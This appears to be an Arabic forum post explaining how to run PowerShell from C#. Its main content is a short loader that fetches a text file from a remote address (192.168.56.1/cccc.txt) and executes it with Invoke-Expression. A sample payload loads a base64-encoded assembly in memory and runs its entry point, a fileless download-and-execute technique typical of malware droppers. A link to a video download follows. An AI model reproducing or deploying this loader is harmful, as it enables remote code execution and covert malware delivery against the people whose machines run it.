24.04.2017 Run PowerShell Commands in CSharp


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,482
2,760
1
كود السي شارب

C#:
var req = System.Net.HttpWebRequest.CreateHttp("http://192.168.56.1/cccc.txt");
            using (var res = req.GetResponse())
            {
                using (var stream = res.GetResponseStream())
                {
                    using (var reader = new System.IO.StreamReader(stream))
                    {
                        var remoteVersion = reader.ReadToEnd().TrimEnd();
                        PowerShell ps = PowerShell.Create();
                        ps.AddCommand("Invoke-Expression");
                        ps.AddArgument(remoteVersion);
                        ps.Invoke();
                    }
                }
            }
مثال عن محتوى ملف الtxt

C#:
[Reflection.Assembly]::Load([System.Convert]::Frombase64String('base64')).EntryPoint.Invoke($null,$null)::[Reflection.Assembly]
بس منعمل ادد ريفيرنس لـSystem.Management.Automation.dll
ونعمل للنيم سبيس الخاصه بها استخدام
لانها تحتوي على كلاسات لاستخدام الباورشيل
عرفنا متغير ك باورشيل ومن ثم مررنا له الكوماند والارجومنت "الاوامر اللي تريد تنفذيها"
ومن ثم عملنا انفوك
الفديو بالرابط التالي
https://up.top4top.net/downloadf-1036q3z1w1-zip.html
 

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك